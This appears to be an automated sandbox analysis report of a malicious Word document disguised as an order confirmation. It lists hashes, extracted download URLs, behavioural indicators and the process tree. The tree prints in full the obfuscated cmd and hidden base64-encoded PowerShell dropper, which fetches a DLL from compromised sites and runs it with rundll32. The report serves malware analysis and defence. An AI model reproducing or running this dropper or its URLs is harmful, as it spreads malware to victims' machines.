Resubmissions
15-01-2021 09:25
210115-5vdjdbqvxe 1015-01-2021 07:47
210115-5yp4gybvjn 1015-01-2021 07:12
210115-nekg7v4ybs 10Analysis
-
max time kernel
286s -
max time network
277s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
15-01-2021 09:25
Behavioral task
behavioral1
Sample
Your order YL5088844988 13-01-2021.doc
Resource
win7v20201028
General
-
Target
Your order YL5088844988 13-01-2021.doc
-
Size
92KB
-
MD5
390cc36367632b99404bc3c610a83441
-
SHA1
fdf27a70464fd442f858364503da83d64c48b686
-
SHA256
fee13caa4b47e7859ada7207507b9d385aee0e14412cc738fed9465078ed2696
-
SHA512
97a6868edf1534445a89ff13decaf694ac458a91253d6c7341d97bd7fe0d9e428a1cfe75b1144ab457106c7f38938a18cc530576c9c16c75b40ff35883b92a35
Malware Config
Extracted
http://tmsvinhphuc.com/wp-content/SpeechEngines/
http://huzurdugunsalonu.com/wp-content/Speech/
http://personal.unicorp.site/lang/System_32/
http://christinewalker.org/wp-admin/Xt9SNHtExU/
http://www.3d.unicorp.site/js/GzVpMLaH/
http://3d.unicorp.site/js/A1ew/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1096 1800 cmd.exe -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exerundll32.exeflow pid process 7 932 powershell.exe 9 1632 rundll32.exe -
Loads dropped DLL 4 IoCs
Processes:
rundll32.exepid process 672 rundll32.exe 672 rundll32.exe 672 rundll32.exe 672 rundll32.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exerundll32.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\Bdwkykrxf\aaukkcof.aam rundll32.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 2008 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exerundll32.exepid process 932 powershell.exe 932 powershell.exe 1632 rundll32.exe 1632 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 932 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 2008 WINWORD.EXE 2008 WINWORD.EXE -
Suspicious use of WriteProcessMemory 27 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exeWINWORD.EXEdescription pid process target process PID 1096 wrote to memory of 1924 1096 cmd.exe msg.exe PID 1096 wrote to memory of 1924 1096 cmd.exe msg.exe PID 1096 wrote to memory of 1924 1096 cmd.exe msg.exe PID 1096 wrote to memory of 932 1096 cmd.exe powershell.exe PID 1096 wrote to memory of 932 1096 cmd.exe powershell.exe PID 1096 wrote to memory of 932 1096 cmd.exe powershell.exe PID 932 wrote to memory of 988 932 powershell.exe rundll32.exe PID 932 wrote to memory of 988 932 powershell.exe rundll32.exe PID 932 wrote to memory of 988 932 powershell.exe rundll32.exe PID 988 wrote to memory of 672 988 rundll32.exe rundll32.exe PID 988 wrote to memory of 672 988 rundll32.exe rundll32.exe PID 988 wrote to memory of 672 988 rundll32.exe rundll32.exe PID 988 wrote to memory of 672 988 rundll32.exe rundll32.exe PID 988 wrote to memory of 672 988 rundll32.exe rundll32.exe PID 988 wrote to memory of 672 988 rundll32.exe rundll32.exe PID 988 wrote to memory of 672 988 rundll32.exe rundll32.exe PID 672 wrote to memory of 1632 672 rundll32.exe rundll32.exe PID 672 wrote to memory of 1632 672 rundll32.exe rundll32.exe PID 672 wrote to memory of 1632 672 rundll32.exe rundll32.exe PID 672 wrote to memory of 1632 672 rundll32.exe rundll32.exe PID 672 wrote to memory of 1632 672 rundll32.exe rundll32.exe PID 672 wrote to memory of 1632 672 rundll32.exe rundll32.exe PID 672 wrote to memory of 1632 672 rundll32.exe rundll32.exe PID 2008 wrote to memory of 1340 2008 WINWORD.EXE splwow64.exe PID 2008 wrote to memory of 1340 2008 WINWORD.EXE splwow64.exe PID 2008 wrote to memory of 1340 2008 WINWORD.EXE splwow64.exe PID 2008 wrote to memory of 1340 2008 WINWORD.EXE splwow64.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Your order YL5088844988 13-01-2021.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAFMAZQBUAC0ASQBUAGUATQAgACAAKAAnAFYAYQBSACcAKwAnAEkAYQBCACcAKwAnAEwAZQA6AEsANwBZACcAKwAnAHgAJwArACcAQgAnACkAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewAwAH0AewAzAH0AewAxAH0AIgAgAC0ARgAgACcASQBPAC4AZAAnACwAJwBZACcALAAnAHMAWQBzAHQAZQBtAC4AJwAsACcAaQBSAGUAQwBUAG8AUgAnACkAIAAgACkAOwAkAFAAWQBmAFYATABJACAAIAA9ACAAIABbAFQAeQBQAEUAXQAoACIAewAwAH0AewA0AH0AewAzAH0AewAyAH0AewA1AH0AewA2AH0AewAxAH0AIgAtAEYAIAAnAFMAWQBzAFQAZQAnACwAJwBHAEUAUgAnACwAJwBlAFQALgBzAGUAcgAnACwAJwAuAG4AJwAsACcATQAnACwAJwB2AEkAYwBlAFAAJwAsACcAbwBJAG4AVABNAGEATgBhACcAKQA7ACAAJABJAHoAZQB5AGMANgB4AD0AJABRADIAMgBTACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABPADIANwBVADsAJABKADIAMABHAD0AKAAoACcARAA3ACcAKwAnADAAJwApACsAJwBUACcAKQA7ACAAJABrADcAeQB4AGIAOgA6ACIAQwBgAFIAYABFAGEAVABlAGAARABpAFIARQBDAHQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnADcAJwArACgAJwA0ACcAKwAnADEAVABpAGkAJwApACsAKAAnAHAAeAA2AGwANwAnACsAJwA0ADEAJwArACcASwBtACcAKQArACgAJwBnADcAJwArACcAdQBlAGcAJwApACsAKAAnADcAJwArACcANAAxACcAKQApACAALQBSAEUAcABMAEEAQwBFACAAKAAnADcANAAnACsAJwAxACcAKQAsAFsAYwBoAEEAUgBdADkAMgApACkAOwAkAFgAXwA4AFkAPQAoACgAJwBVACcAKwAnADYAOAAnACkAKwAnAEgAJwApADsAIAAoACAAIABHAGUAdAAtAGkAVABFAG0AIAAoACcAVgBhAHIAaQBhACcAKwAnAGIAbABFADoAcAB5ACcAKwAnAGYAVgBMACcAKwAnAEkAJwApACAAKQAuAHYAQQBsAHUAZQA6ADoAIgBzAEUAQwBVAFIAaQBgAFQAYABZAHAAUgBvAHQAbwBgAGMAbwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAMQAnACsAJwAyACcAKQApADsAJABPADMANgBXAD0AKAAoACcAWQA5ACcAKwAnADAAJwApACsAJwBQACcAKQA7ACQAVgA0ADYAOABfAHEAcgAgAD0AIAAoACcAQwAnACsAKAAnADcANwAnACsAJwBFACcAKQApADsAJABFADMAMgBWAD0AKAAnAEcAJwArACgAJwA5ACcAKwAnADQASgAnACkAKQA7ACQAWgBqADUAcwBjAGUAbgA9ACQASABPAE0ARQArACgAKAAoACcAdwA2AFUAVAAnACsAJwBpACcAKwAnAGkAcAB4ADYAbAB3ADYAJwApACsAKAAnAFUAJwArACcASwBtAGcAJwApACsAKAAnADcAdQAnACsAJwBlAGcAdwA2ACcAKQArACcAVQAnACkALgAiAHIAZQBgAHAATABgAEEAQwBlACIAKAAoACcAdwA2ACcAKwAnAFUAJwApACwAWwBzAFQAcgBJAG4AZwBdAFsAYwBoAGEAUgBdADkAMgApACkAKwAkAFYANAA2ADgAXwBxAHIAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABTADYAMgBHAD0AKAAnAEEAJwArACgAJwA2ADQAJwArACcARQAnACkAKQA7ACQASwBfAHEAMAB0AGoAcgA9ACgAKAAnAEEAJwArACcAXQBbAHEAJwArACcAWwBEADoALwAvACcAKQArACgAJwB0AG0AcwB2ACcAKwAnAGkAbgBoAHAAJwApACsAKAAnAGgAdQBjAC4AYwBvAG0ALwB3ACcAKwAnAHAALQBjACcAKwAnAG8AJwApACsAKAAnAG4AJwArACcAdABlAG4AdAAnACsAJwAvAFMAJwApACsAJwBwAGUAJwArACcAZQAnACsAKAAnAGMAaABFAG4AJwArACcAZwBpAG4AJwApACsAKAAnAGUAcwAnACsAJwAvAEAAQQBdAFsAJwArACcAcQAnACsAJwBbACcAKQArACgAJwBEADoALwAvAGgAdQB6ACcAKwAnAHUAJwApACsAKAAnAHIAZAAnACsAJwB1ACcAKQArACgAJwBnACcAKwAnAHUAbgAnACkAKwAoACcAcwAnACsAJwBhAGwAJwApACsAJwBvACcAKwAoACcAbgAnACsAJwB1AC4AYwBvAG0ALwAnACkAKwAnAHcAcAAnACsAKAAnAC0AYwAnACsAJwBvAG4AdABlACcAKwAnAG4AdAAvAFMAcAAnACkAKwAnAGUAZQAnACsAKAAnAGMAJwArACcAaAAvAEAAJwArACcAQQBdACcAKQArACgAJwBbAHEAJwArACcAWwBEACcAKQArACgAJwA6ACcAKwAnAC8ALwBwAGUAcgAnACkAKwAoACcAcwBvACcAKwAnAG4AJwArACcAYQBsAC4AdQBuAGkAYwAnACsAJwBvAHIAcAAuAHMAaQB0ACcAKwAnAGUALwAnACkAKwAoACcAbABhACcAKwAnAG4AZwAvACcAKwAnAFMAeQBzAHQAZQAnACkAKwAoACcAbQBfACcAKwAnADMAMgAvACcAKQArACcAQABBACcAKwAnAF0AWwAnACsAKAAnAHEAJwArACcAWwBEACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwBjAGgAcgAnACkAKwAoACcAaQAnACsAJwBzAHQAaQBuAGUAdwAnACsAJwBhAGwAJwApACsAJwBrAGUAJwArACgAJwByACcAKwAnAC4AbwByACcAKQArACgAJwBnAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkAG0AaQBuAC8AWAAnACsAJwB0ADkAJwApACsAJwBTACcAKwAoACcATgAnACsAJwBIAHQARQAnACkAKwAoACcAeAAnACsAJwBVAC8AQABBACcAKQArACgAJwBdAFsAcQBbACcAKwAnAEQAOgAvACcAKwAnAC8AdwB3ACcAKQArACcAdwAuACcAKwAoACcAMwAnACsAJwBkAC4AJwArACcAdQBuAGkAYwBvACcAKwAnAHIAcAAnACsAJwAuAHMAaQB0AGUALwAnACsAJwBqAHMAJwArACcALwBHAHoAVgBwAE0AJwApACsAKAAnAEwAYQBIAC8AJwArACcAQAAnACkAKwAnAEEAJwArACcAXQBbACcAKwAoACcAcQBbAEQAOgAnACsAJwAvACcAKQArACcALwAnACsAKAAnADMAZAAnACsAJwAuAHUAbgAnACkAKwAnAGkAJwArACgAJwBjACcAKwAnAG8AcgAnACkAKwAnAHAAJwArACgAJwAuAHMAaQAnACsAJwB0ACcAKQArACgAJwBlAC8AagBzAC8AJwArACcAQQAxACcAKwAnAGUAdwAnACkAKwAnAC8AJwApAC4AIgBSAGAARQBQAGwAYABBAGMARQAiACgAKAAoACcAQQBdACcAKwAnAFsAJwApACsAJwBxACcAKwAnAFsARAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkAHMAJwArACcAZQB3ACcAKQArACcAZgAnACkALAAoACgAJwB3AGUAJwArACcAdgAnACkAKwAnAHcAZQAnACkAKQAsACgAKAAnAGEAZQAnACsAJwBmACcAKQArACcAZgAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACkAWwAyAF0AKQAuACIAcwBwAGwAYABJAHQAIgAoACQARQA4AF8ARgAgACsAIAAkAEkAegBlAHkAYwA2AHgAIAArACAAJABLADgAMwBQACkAOwAkAEgANAA2AEwAPQAoACcAUAA1ACcAKwAnADAARwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEIAawB1AHoANQBfADkAIABpAG4AIAAkAEsAXwBxADAAdABqAHIAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAnACsAJwAtAE8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAHMAWQBTAHQAZQBtAC4ATgBFAFQALgBXAGUAQgBjAEwASQBlAG4AVAApAC4AIgBEAG8AYAB3AE4ATABgAG8AYABBAGQAZgBpAEwARQAiACgAJABCAGsAdQB6ADUAXwA5ACwAIAAkAFoAagA1AHMAYwBlAG4AKQA7ACQAVQAwADIATgA9ACgAJwBMADcAJwArACcAOABBACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABaAGoANQBzAGMAZQBuACkALgAiAGwAZQBuAGAAZwB0AGgAIgAgAC0AZwBlACAAMwAyADcAOQA4ACkAIAB7AC4AKAAnAHIAJwArACcAdQBuAGQAbABsADMAMgAnACkAIAAkAFoAagA1AHMAYwBlAG4ALAAoACcAUwAnACsAKAAnAGgAbwAnACsAJwB3ACcAKQArACgAJwBEACcAKwAnAGkAYQAnACkAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAdABPAFMAYABUAGAAUgBpAE4ARwAiACgAKQA7ACQASQA1ADQASQA9ACgAKAAnAEcAMAAnACsAJwAzACcAKQArACcAUQAnACkAOwBiAHIAZQBhAGsAOwAkAE4AOQA3AEMAPQAoACgAJwBBADgAJwArACcAXwAnACkAKwAnAEEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABSADEAMABDAD0AKAAnAE0ANQAnACsAJwAwAEQAJwApAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc IAAgAFMAZQBUAC0ASQBUAGUATQAgACAAKAAnAFYAYQBSACcAKwAnAEkAYQBCACcAKwAnAEwAZQA6AEsANwBZACcAKwAnAHgAJwArACcAQgAnACkAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewAwAH0AewAzAH0AewAxAH0AIgAgAC0ARgAgACcASQBPAC4AZAAnACwAJwBZACcALAAnAHMAWQBzAHQAZQBtAC4AJwAsACcAaQBSAGUAQwBUAG8AUgAnACkAIAAgACkAOwAkAFAAWQBmAFYATABJACAAIAA9ACAAIABbAFQAeQBQAEUAXQAoACIAewAwAH0AewA0AH0AewAzAH0AewAyAH0AewA1AH0AewA2AH0AewAxAH0AIgAtAEYAIAAnAFMAWQBzAFQAZQAnACwAJwBHAEUAUgAnACwAJwBlAFQALgBzAGUAcgAnACwAJwAuAG4AJwAsACcATQAnACwAJwB2AEkAYwBlAFAAJwAsACcAbwBJAG4AVABNAGEATgBhACcAKQA7ACAAJABJAHoAZQB5AGMANgB4AD0AJABRADIAMgBTACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABPADIANwBVADsAJABKADIAMABHAD0AKAAoACcARAA3ACcAKwAnADAAJwApACsAJwBUACcAKQA7ACAAJABrADcAeQB4AGIAOgA6ACIAQwBgAFIAYABFAGEAVABlAGAARABpAFIARQBDAHQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnADcAJwArACgAJwA0ACcAKwAnADEAVABpAGkAJwApACsAKAAnAHAAeAA2AGwANwAnACsAJwA0ADEAJwArACcASwBtACcAKQArACgAJwBnADcAJwArACcAdQBlAGcAJwApACsAKAAnADcAJwArACcANAAxACcAKQApACAALQBSAEUAcABMAEEAQwBFACAAKAAnADcANAAnACsAJwAxACcAKQAsAFsAYwBoAEEAUgBdADkAMgApACkAOwAkAFgAXwA4AFkAPQAoACgAJwBVACcAKwAnADYAOAAnACkAKwAnAEgAJwApADsAIAAoACAAIABHAGUAdAAtAGkAVABFAG0AIAAoACcAVgBhAHIAaQBhACcAKwAnAGIAbABFADoAcAB5ACcAKwAnAGYAVgBMACcAKwAnAEkAJwApACAAKQAuAHYAQQBsAHUAZQA6ADoAIgBzAEUAQwBVAFIAaQBgAFQAYABZAHAAUgBvAHQAbwBgAGMAbwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAMQAnACsAJwAyACcAKQApADsAJABPADMANgBXAD0AKAAoACcAWQA5ACcAKwAnADAAJwApACsAJwBQACcAKQA7ACQAVgA0ADYAOABfAHEAcgAgAD0AIAAoACcAQwAnACsAKAAnADcANwAnACsAJwBFACcAKQApADsAJABFADMAMgBWAD0AKAAnAEcAJwArACgAJwA5ACcAKwAnADQASgAnACkAKQA7ACQAWgBqADUAcwBjAGUAbgA9ACQASABPAE0ARQArACgAKAAoACcAdwA2AFUAVAAnACsAJwBpACcAKwAnAGkAcAB4ADYAbAB3ADYAJwApACsAKAAnAFUAJwArACcASwBtAGcAJwApACsAKAAnADcAdQAnACsAJwBlAGcAdwA2ACcAKQArACcAVQAnACkALgAiAHIAZQBgAHAATABgAEEAQwBlACIAKAAoACcAdwA2ACcAKwAnAFUAJwApACwAWwBzAFQAcgBJAG4AZwBdAFsAYwBoAGEAUgBdADkAMgApACkAKwAkAFYANAA2ADgAXwBxAHIAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABTADYAMgBHAD0AKAAnAEEAJwArACgAJwA2ADQAJwArACcARQAnACkAKQA7ACQASwBfAHEAMAB0AGoAcgA9ACgAKAAnAEEAJwArACcAXQBbAHEAJwArACcAWwBEADoALwAvACcAKQArACgAJwB0AG0AcwB2ACcAKwAnAGkAbgBoAHAAJwApACsAKAAnAGgAdQBjAC4AYwBvAG0ALwB3ACcAKwAnAHAALQBjACcAKwAnAG8AJwApACsAKAAnAG4AJwArACcAdABlAG4AdAAnACsAJwAvAFMAJwApACsAJwBwAGUAJwArACcAZQAnACsAKAAnAGMAaABFAG4AJwArACcAZwBpAG4AJwApACsAKAAnAGUAcwAnACsAJwAvAEAAQQBdAFsAJwArACcAcQAnACsAJwBbACcAKQArACgAJwBEADoALwAvAGgAdQB6ACcAKwAnAHUAJwApACsAKAAnAHIAZAAnACsAJwB1ACcAKQArACgAJwBnACcAKwAnAHUAbgAnACkAKwAoACcAcwAnACsAJwBhAGwAJwApACsAJwBvACcAKwAoACcAbgAnACsAJwB1AC4AYwBvAG0ALwAnACkAKwAnAHcAcAAnACsAKAAnAC0AYwAnACsAJwBvAG4AdABlACcAKwAnAG4AdAAvAFMAcAAnACkAKwAnAGUAZQAnACsAKAAnAGMAJwArACcAaAAvAEAAJwArACcAQQBdACcAKQArACgAJwBbAHEAJwArACcAWwBEACcAKQArACgAJwA6ACcAKwAnAC8ALwBwAGUAcgAnACkAKwAoACcAcwBvACcAKwAnAG4AJwArACcAYQBsAC4AdQBuAGkAYwAnACsAJwBvAHIAcAAuAHMAaQB0ACcAKwAnAGUALwAnACkAKwAoACcAbABhACcAKwAnAG4AZwAvACcAKwAnAFMAeQBzAHQAZQAnACkAKwAoACcAbQBfACcAKwAnADMAMgAvACcAKQArACcAQABBACcAKwAnAF0AWwAnACsAKAAnAHEAJwArACcAWwBEACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwBjAGgAcgAnACkAKwAoACcAaQAnACsAJwBzAHQAaQBuAGUAdwAnACsAJwBhAGwAJwApACsAJwBrAGUAJwArACgAJwByACcAKwAnAC4AbwByACcAKQArACgAJwBnAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkAG0AaQBuAC8AWAAnACsAJwB0ADkAJwApACsAJwBTACcAKwAoACcATgAnACsAJwBIAHQARQAnACkAKwAoACcAeAAnACsAJwBVAC8AQABBACcAKQArACgAJwBdAFsAcQBbACcAKwAnAEQAOgAvACcAKwAnAC8AdwB3ACcAKQArACcAdwAuACcAKwAoACcAMwAnACsAJwBkAC4AJwArACcAdQBuAGkAYwBvACcAKwAnAHIAcAAnACsAJwAuAHMAaQB0AGUALwAnACsAJwBqAHMAJwArACcALwBHAHoAVgBwAE0AJwApACsAKAAnAEwAYQBIAC8AJwArACcAQAAnACkAKwAnAEEAJwArACcAXQBbACcAKwAoACcAcQBbAEQAOgAnACsAJwAvACcAKQArACcALwAnACsAKAAnADMAZAAnACsAJwAuAHUAbgAnACkAKwAnAGkAJwArACgAJwBjACcAKwAnAG8AcgAnACkAKwAnAHAAJwArACgAJwAuAHMAaQAnACsAJwB0ACcAKQArACgAJwBlAC8AagBzAC8AJwArACcAQQAxACcAKwAnAGUAdwAnACkAKwAnAC8AJwApAC4AIgBSAGAARQBQAGwAYABBAGMARQAiACgAKAAoACcAQQBdACcAKwAnAFsAJwApACsAJwBxACcAKwAnAFsARAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkAHMAJwArACcAZQB3ACcAKQArACcAZgAnACkALAAoACgAJwB3AGUAJwArACcAdgAnACkAKwAnAHcAZQAnACkAKQAsACgAKAAnAGEAZQAnACsAJwBmACcAKQArACcAZgAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACkAWwAyAF0AKQAuACIAcwBwAGwAYABJAHQAIgAoACQARQA4AF8ARgAgACsAIAAkAEkAegBlAHkAYwA2AHgAIAArACAAJABLADgAMwBQACkAOwAkAEgANAA2AEwAPQAoACcAUAA1ACcAKwAnADAARwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEIAawB1AHoANQBfADkAIABpAG4AIAAkAEsAXwBxADAAdABqAHIAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAnACsAJwAtAE8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAHMAWQBTAHQAZQBtAC4ATgBFAFQALgBXAGUAQgBjAEwASQBlAG4AVAApAC4AIgBEAG8AYAB3AE4ATABgAG8AYABBAGQAZgBpAEwARQAiACgAJABCAGsAdQB6ADUAXwA5ACwAIAAkAFoAagA1AHMAYwBlAG4AKQA7ACQAVQAwADIATgA9ACgAJwBMADcAJwArACcAOABBACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABaAGoANQBzAGMAZQBuACkALgAiAGwAZQBuAGAAZwB0AGgAIgAgAC0AZwBlACAAMwAyADcAOQA4ACkAIAB7AC4AKAAnAHIAJwArACcAdQBuAGQAbABsADMAMgAnACkAIAAkAFoAagA1AHMAYwBlAG4ALAAoACcAUwAnACsAKAAnAGgAbwAnACsAJwB3ACcAKQArACgAJwBEACcAKwAnAGkAYQAnACkAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAdABPAFMAYABUAGAAUgBpAE4ARwAiACgAKQA7ACQASQA1ADQASQA9ACgAKAAnAEcAMAAnACsAJwAzACcAKQArACcAUQAnACkAOwBiAHIAZQBhAGsAOwAkAE4AOQA3AEMAPQAoACgAJwBBADgAJwArACcAXwAnACkAKwAnAEEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABSADEAMABDAD0AKAAnAE0ANQAnACsAJwAwAEQAJwApAA==2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dll ShowDialogA3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dll ShowDialogA4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bdwkykrxf\aaukkcof.aam",ShowDialogA5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dllMD5
5323b594d60815546b33c63285460b6a
SHA15950b1d20f10453051956c28bdbfb130f60120e2
SHA256aa4563a7bc419e1154107338118c0667cc43dccdf453144ddcc32ea76d99f9fe
SHA512e4e73ea5d20501d8d782b950cfc045e0b6c6eab15b7fb315e005013d4297468226205adc85c6a121ed6ff456dc912190b8e1e949b5781d71540b4a5e2b5d3986
-
\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dllMD5
5323b594d60815546b33c63285460b6a
SHA15950b1d20f10453051956c28bdbfb130f60120e2
SHA256aa4563a7bc419e1154107338118c0667cc43dccdf453144ddcc32ea76d99f9fe
SHA512e4e73ea5d20501d8d782b950cfc045e0b6c6eab15b7fb315e005013d4297468226205adc85c6a121ed6ff456dc912190b8e1e949b5781d71540b4a5e2b5d3986
-
\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dllMD5
5323b594d60815546b33c63285460b6a
SHA15950b1d20f10453051956c28bdbfb130f60120e2
SHA256aa4563a7bc419e1154107338118c0667cc43dccdf453144ddcc32ea76d99f9fe
SHA512e4e73ea5d20501d8d782b950cfc045e0b6c6eab15b7fb315e005013d4297468226205adc85c6a121ed6ff456dc912190b8e1e949b5781d71540b4a5e2b5d3986
-
\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dllMD5
5323b594d60815546b33c63285460b6a
SHA15950b1d20f10453051956c28bdbfb130f60120e2
SHA256aa4563a7bc419e1154107338118c0667cc43dccdf453144ddcc32ea76d99f9fe
SHA512e4e73ea5d20501d8d782b950cfc045e0b6c6eab15b7fb315e005013d4297468226205adc85c6a121ed6ff456dc912190b8e1e949b5781d71540b4a5e2b5d3986
-
\Users\Admin\Tiipx6l\Kmg7ueg\C77E.dllMD5
5323b594d60815546b33c63285460b6a
SHA15950b1d20f10453051956c28bdbfb130f60120e2
SHA256aa4563a7bc419e1154107338118c0667cc43dccdf453144ddcc32ea76d99f9fe
SHA512e4e73ea5d20501d8d782b950cfc045e0b6c6eab15b7fb315e005013d4297468226205adc85c6a121ed6ff456dc912190b8e1e949b5781d71540b4a5e2b5d3986
-
memory/672-13-0x0000000000000000-mapping.dmp
-
memory/932-6-0x000000001ABC0000-0x000000001ABC1000-memory.dmpFilesize
4KB
-
memory/932-9-0x000000001B6F0000-0x000000001B6F1000-memory.dmpFilesize
4KB
-
memory/932-10-0x000000001C320000-0x000000001C321000-memory.dmpFilesize
4KB
-
memory/932-8-0x0000000002350000-0x0000000002351000-memory.dmpFilesize
4KB
-
memory/932-7-0x00000000023F0000-0x00000000023F1000-memory.dmpFilesize
4KB
-
memory/932-5-0x0000000002310000-0x0000000002311000-memory.dmpFilesize
4KB
-
memory/932-4-0x000007FEF4F90000-0x000007FEF597C000-memory.dmpFilesize
9.9MB
-
memory/932-3-0x0000000000000000-mapping.dmp
-
memory/988-11-0x0000000000000000-mapping.dmp
-
memory/1340-20-0x0000000000000000-mapping.dmp
-
memory/1632-18-0x0000000000000000-mapping.dmp
-
memory/1924-2-0x0000000000000000-mapping.dmp
-
